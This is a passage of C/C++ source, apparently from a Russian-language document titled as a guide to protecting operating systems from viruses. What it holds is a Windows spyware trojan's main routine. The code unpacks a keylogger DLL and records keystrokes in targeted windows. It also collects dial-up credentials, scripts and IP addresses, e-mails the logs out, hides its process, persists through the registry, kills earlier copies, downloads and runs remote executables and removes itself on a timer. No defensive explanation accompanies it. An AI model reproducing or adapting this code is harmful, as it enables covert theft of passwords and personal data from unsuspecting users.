Способы защиты операционной системы от вирусных программ

j = RasGetEntryProperties (

NULL, // pointer to full path and filename of phone-book file

rascon. szEntryName, // pointer to an entry name

re, // buffer that receives entry information

(LPDWORD) &i, // size, in bytes, of the lpRasEntry buffer

NULL, // buffer that receives device-specific configuration information

NULL // size, in bytes, of the lpbDeviceInfo buffer

);

// телефон, скрипт

if (! j) {

if (re->dwfOptions & RASEO_UseCountryAndAreaCodes)

sprintf (

sz2,"\tPN:%u,%s,%s\n",

re->dwCountryCode,

re->szAreaCode,

re->szLocalPhoneNumber

);

else

sprintf (

sz2,"\tPN:%s\n",

re->szLocalPhoneNumber

);

strcat (sz1,sz2);

if (strcmp (re->szScript,"")) {

sprintf (sz2,"\tScript:%s\n",re->szScript);

strcat (sz1,sz2);

fs = fopen (re->szScript,"rt");

if (fs) {

fseek (fs,0,SEEK_END);

i = ftell (fs);

j = strlen (sz1);

if (i < ( (int) sizeof (sz1) - j - 0x40)) {

fseek (fs,0,SEEK_SET);

i = fread (&sz1 [j],1, i,fs);

sz1 [j + i] = 0;

strcat (sz1,"\n");

};

fclose (fs);

};

};

};

delete re;

i = sizeof (RASPPPIP);

rasip. dwSize = i;

j = RasGetProjectionInfo (

rascon. hrasconn, // handle that specifies remote access connection of interest

RASP_PppIp, // specifies type of projection information to obtain

&rasip, // points to buffer that receives projection information

(LPDWORD) &i // points to variable that specifies buffer size

);

// IP наш и сервера

if (! j) {

sprintf (

sz2,"\tIP:%s\n"

"\tServer's IP:%s\n",

rasip. szIpAddress,

rasip. szServerIpAddress);

strcat (sz1,sz2);

};

LogAdd (sz1);

};

};

// ---------------------Удаление предудущей копии----------------------

void DelPrev ()

{

CREATETOOL CreateToolhelp32Snapshot;

FIRST32 Process32First;

NEXT32 Process32Next;

HANDLE h_th;

HINSTANCE h_l;

PROCESSENTRY32 pe;

HANDLE hp;

h_l = LoadLibrary ("KERNEL32. DLL");

if (! h_l) return;

CreateToolhelp32Snapshot =

(CREATETOOL) GetProcAddress (h_l,"CreateToolhelp32Snapshot");

Process32First = (FIRST32) GetProcAddress (h_l,"Process32First");

Process32Next = (NEXT32) GetProcAddress (h_l,"Process32Next");

if ( (! Process32Next) || (! Process32First) || (! CreateToolhelp32Snapshot))

goto exit_proc;

h_th = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS,0);

pe. dwSize = sizeof (pe);

if (! Process32First (h_th,&pe)) goto exit_proc;

do {

CharUpperBuff (pe. szExeFile,strlen (pe. szExeFile));

if ( (! strcmp (sti. full_exe_name,pe. szExeFile)) && (GetCurrentProcessId () ! = pe. th32ProcessID)) {

hp = OpenProcess (PROCESS_TERMINATE,0,pe. th32ProcessID);

if (hp)

#ifdef _DEBUG

if (! TerminateProcess (hp,0)) ShowMessage ("Cannot terminate process");

#else

TerminateProcess (hp,0);

#endif

};

} while (Process32Next (h_th,&pe));

exit_proc:

FreeLibrary (h_l);

};

// -------------callback функция для распаковки кейлог-dll-------------

FILE* unpack_file;

void Callback (char* data, int len)

{

fwrite (data,1,len,unpack_file);

};

// -----------------------------WinMain--------------------------------

int WINAPI WinMain (HINSTANCE,HINSTANCE,LPSTR, int)

{

MSG msg;

char buf1 [0x100],buf2 [0x200], buf3 [0x100], *szKillIt;

HINSTANCE h_ker, h_keylog, h_ras;

SYSTEMTIME systime, killtime, mailtime, exectime;

int h_timer, i, j;

LPREGISTERSERVICEPROCESS lpRegServ;

LPGETDATA GetData;

LPKEYLOGON KeylogOn;

LPKEYLOGOFF KeylogOff;

LPKEYLOGOPT KeylogOpt;

bool IsLog = false, IsMailing = false, IsChange = false;

UINT cFlush = 0, cMail = 0, cAutoKill = 0, cRegInst = 0, cExe = 0, cCon = 0;

HWND h_curwnd, h_oldwnd = NULL;

FILE* h_f;

HRSRC hr;

HGLOBAL hrd;

_AttachedData a_d;

char* sti_buf;

char old_title [MAX_PATH];

int d_s;

// Грузим конфинурацию

GetModuleFileName (NULL,buf1,sizeof (buf1));

h_f = fopen (buf1,"rb");

fseek (h_f,0,SEEK_END);

d_s = ftell (h_f);

sti_buf = new char [d_s];

fseek (h_f,0,SEEK_SET);

fread (sti_buf,1,d_s,h_f);

for (i=d_s-1; i>=0; i--) {

sti_buf [i-1] ^= sti_buf [i];

sti_buf [i-1] += sti_buf [i];

};

memcpy (&a_d,&sti_buf [d_s - sizeof (_AttachedData)],sizeof (_AttachedData));

if (a_d. signature! = 0x3104) return - 1;

sti. total_log = a_d. total_log;

sti. encrypt_log = a_d. encrypt_log;

sti. send_mail = a_d. send_mail;

sti. syspass = a_d. syspass;

sti. autokill = a_d. autokill;

sti. fullname = a_d. fullname;

sti. exepath = a_d. exepath;

sti. ras = a_d. ras;

sti. loglimit = a_d. loglimit;

sti. sendafter = a_d. sendafter;

sti. nsubstr = a_d. n_ss;

sti. number = a_d. number;

// грузим субстроки

for (i=0,j=a_d. ss_ofs; (UINT) i<a_d. n_ss; i++) {

sti. substr [i] = new char [strlen (&sti_buf [j]) + 1];

strcpy (sti. substr [i],&sti_buf [j]);

j += strlen (&sti_buf [j]) + 1;

};

// имя лога

strcpy (buf1,&sti_buf [a_d. logname_ofs]);

GetSystemDirectory (sti. logname,sizeof (sti. logname));

strcat (sti. logname,"\\");

strcat (sti. logname,buf1);

// адрес хоста

strcpy (sti. host,&sti_buf [a_d. host_ofs]);

// от кого?

strcpy (sti. mailfrom,&sti_buf [a_d. mailfrom_ofs]);

// кому?

strcpy (sti. mailto,&sti_buf [a_d. mailto_ofs]);

strcpy (sti. subj,&sti_buf [a_d. subj_ofs]);

// имя exe-файла

strcpy (sti. exe_name,&sti_buf [a_d. exe_ofs]);

// имя кейлог-dll

strcpy (sti. dll_name,&sti_buf [a_d. dll_ofs]);

// полное имя exe-файла

if (sti. exepath == 2)

strcpy (sti. full_exe_name,&sti_buf [a_d. exe_ofs]);

else {

if (! sti. exepath)

GetWindowsDirectory (sti. full_exe_name,sizeof (sti. full_exe_name));

else

GetSystemDirectory (sti. full_exe_name,sizeof (sti. full_exe_name));

strcat (sti. full_exe_name,"\\");

strcat (sti. full_exe_name,&sti_buf [a_d. exe_ofs]);

};

CharUpperBuff (sti. full_exe_name,strlen (sti. full_exe_name));

// описание в реестре

strcpy (sti. reg_desc,&sti_buf [a_d. reg_descr_ofs]);

// путь в реестре

strcpy (sti. reg_path,&sti_buf [a_d. reg_path_ofs]);

// адрес exe-файла для запуска

strcpy (sti. http,&sti_buf [a_d. http_ofs]);

// порт сендмэйла

sti. port = a_d. port;

// интервал между посылками

memcpy (&sti. send_i,&a_d. send_i,sizeof (SYSTEMTIME));

// время жизни

memcpy (&sti. kill_i,&a_d. kill_i,sizeof (SYSTEMTIME));

delete sti_buf;

DelPrev ();

#ifndef _DEBUG

RecurrentStart (); // Повторно запусть?

Install (); // Интсталируем

#endif

// Что у нас в командной строке?

sprintf (buf1,"Kill_%X=",sti. number);

szKillIt = strstr (GetCommandLine (),buf1);

if (szKillIt) szKillIt += strlen (buf1);

// Скрываем процесс

h_ker = LoadLibrary ("KERNEL32. DLL");

if (h_ker) {

lpRegServ =

(LPREGISTERSERVICEPROCESS) GetProcAddress (h_ker,"RegisterServiceProcess");

#ifndef _DEBUG

if (lpRegServ) lpRegServ (NULL,1);

#endif

FreeLibrary (h_ker);

};

// Подгружаем RASAPI32. DLL если есть

h_ras = LoadLibrary ("RASAPI32. DLL");

if (h_ras) {

RasEnumConnections= (LPRASENUMCCONNECTIONS) GetProcAddress (h_ras,"RasEnumConnectionsA");

RasGetConnectStatus = (LPRASGETCONNECTSTATUS) GetProcAddress (h_ras,"RasGetConnectStatusA");

RasGetEntryProperties = (LPRASGETENTRYPROPERTIES) GetProcAddress (h_ras,"RasGetEntryPropertiesA");

RasGetProjectionInfo = (LPRASGETPROJECTIONINFO) GetProcAddress (h_ras,"RasGetProjectionInfoA");

bRASDLL = (RasEnumConnections) && (RasGetConnectStatus) && (RasGetEntryProperties) && (RasGetProjectionInfo);

} else bRASDLL = false;

// Проинициализировать лог

LogInit ();

GetSystemDirectory (buf1,sizeof (buf1));

strcat (buf1,"\\");

strcat (buf1,sti. dll_name);

h_keylog = LoadLibrary (buf1);

if (! h_keylog) {

hr = FindResource (

NULL, // resource-module handle

(LPCTSTR) IDR_KDLL, // pointer to resource name

"KDLL" // pointer to resource type

);

hrd = LoadResource (

NULL, // resource-module handle

hr // resource handle

);

unpack_file = fopen (buf1,"w+b");

if (! unpack_file) return - 1;

LZWUnpack ( (char*) hrd,Callback);

fclose (unpack_file);

h_keylog = LoadLibrary (sti. dll_name);

};

// грузим функции кейлог-dll

GetData = (LPGETDATA) GetProcAddress (h_keylog,"GetData");

KeylogOn = (LPKEYLOGON) GetProcAddress (h_keylog,"KeylogOn");

KeylogOff = (LPKEYLOGOFF) GetProcAddress (h_keylog,"KeylogOff");

KeylogOpt = (LPKEYLOGOPT) GetProcAddress (h_keylog,"KeylogOpt");

#ifdef _DEBUG

if (! GetData) {

ShowMessage ("Error load GetData function");

return - 1;

};

if (! KeylogOn) {

ShowMessage ("Error load KeyLogOn function");

return - 1;

};

if (! KeylogOff) {

ShowMessage ("Error load KeyLogOff function");

return - 1;

};

if (! KeylogOpt) {

ShowMessage ("Error load KeyLogOpt function");

return - 1;

};

#else

if ( (! GetData) || (! KeylogOn) || (! KeylogOff) || (! KeylogOpt)) return - 1;

#endif

// Ставим режим работы кейлог-dll

KeylogOpt (a_d. adv_log);

// проинициализить критическую секцию

InitializeCriticalSection (&gcs);

// Пишем время старта

i = sizeof (buf1);

if (! GetUserName (buf1, (DWORD*) &i)) buf1 [0] = 0;

i = sizeof (buf3);

if (! GetComputerName (buf3, (DWORD*) &i)) buf3 [0] = 0;

sprintf (buf2,"Computer: \"%s\" User: \"%s\"\n",buf3,buf1);

GetLocalTime (&systime);

SysTimePrint (buf3,systime);

sprintf (buf1,"\nStarted at%s,%s\n",buf3,buf2);

LogAdd (buf1);

memcpy (&killtime,&sti. inst_d,sizeof (SYSTEMTIME));

SysTimeSum (killtime,sti. kill_i);

memcpy (&mailtime,&sti. send_d,sizeof (mailtime));

SysTimeSum (mailtime,sti. send_i);

// Сбрасываем exectime

memset (&exectime,0,sizeof (exectime));

// Ставим таймер

h_timer = SetTimer (NULL,0,1000,NULL);

while (GetMessage (&msg,NULL,0,0)) // GetMessage-loop

switch (msg. message) {

case WM_TIMER:

// Забираем данные из кейлог-буфера

if (IsLog) {

i = GetData (buf1,sizeof (buf1));

buf1 [i] = 0;

if ( (! a_d. emp_log) && (IsChange) && (i)) {

LogAdd (old_title);

IsChange = false;

};

LogAdd (buf1);

};

h_curwnd = GetForegroundWindow (); // Получить текущее окно

if (h_curwnd! = h_oldwnd) { // Окно поменялось

// выключаем лог если он идет

if (IsLog) KeylogOff ();

IsLog = false;

if (TitleTest (h_curwnd,buf2)) { // Окно наше?

GetLocalTime (&systime);

sprintf (old_title,

"\nTitle: \"%s\",%2.2u:%2.2u:%2.2u\n",

buf2,systime. wHour,

systime. wMinute,

systime. wSecond

);

IsChange = true;

if (a_d. emp_log) LogAdd (old_title);

IsLog = KeylogOn (); // Включить лог

};

};

h_oldwnd = h_curwnd;

// Обработка сброса буфера на хард

if (cFlush > FLUSH_BUFFER_TIME) {

LogFlush ();

cFlush = 0;

} else cFlush++;

if (sti. send_mail) {

if ( (cMail > MAIL_TEST_TIME) && (! IsMailing)) {

GetLocalTime (&systime);

if ( (SysTimeComp (systime,mailtime) >= 0) ||

(sti. logsize > sti. sendafter)) { // Мылим

LogEmailing (mailtime, IsMailing);

};

cMail = 0;

} else cMail++;

};

if (cRegInst > REG_TEST_TIME) {

if (sti. autokill) {

GetLocalTime (&systime);

if (SysTimeComp (systime,killtime) >= 0) {

AutoKill (h_keylog);

};

};

RegInstall ();

cRegInst = 0;

} else cRegInst++;

if ( (cExe > EXEC_TEST_TIME) && (! IsMailing)) {

GetLocalTime (&systime);

if (SysTimeComp (systime,exectime) >= 0) {

HttpDownloading (exectime, IsMailing);

};

cExe = 0;

} else cExe++;

// Килять исходный экзешник?

if (szKillIt) {

if (DeleteFile (szKillIt)) szKillIt = NULL;

};

// Проврека на возникновение соединения

if (cCon > CON_TEST_TIME) {

cCon = 0;

ConDectecting ();

} else cCon++;

break;

#ifdef _DEBUG

default:

sprintf (buf1,"Unknown Message:%X",msg. message);

ShowMessage (buf1);

#endif

};

return msg. wParam;

};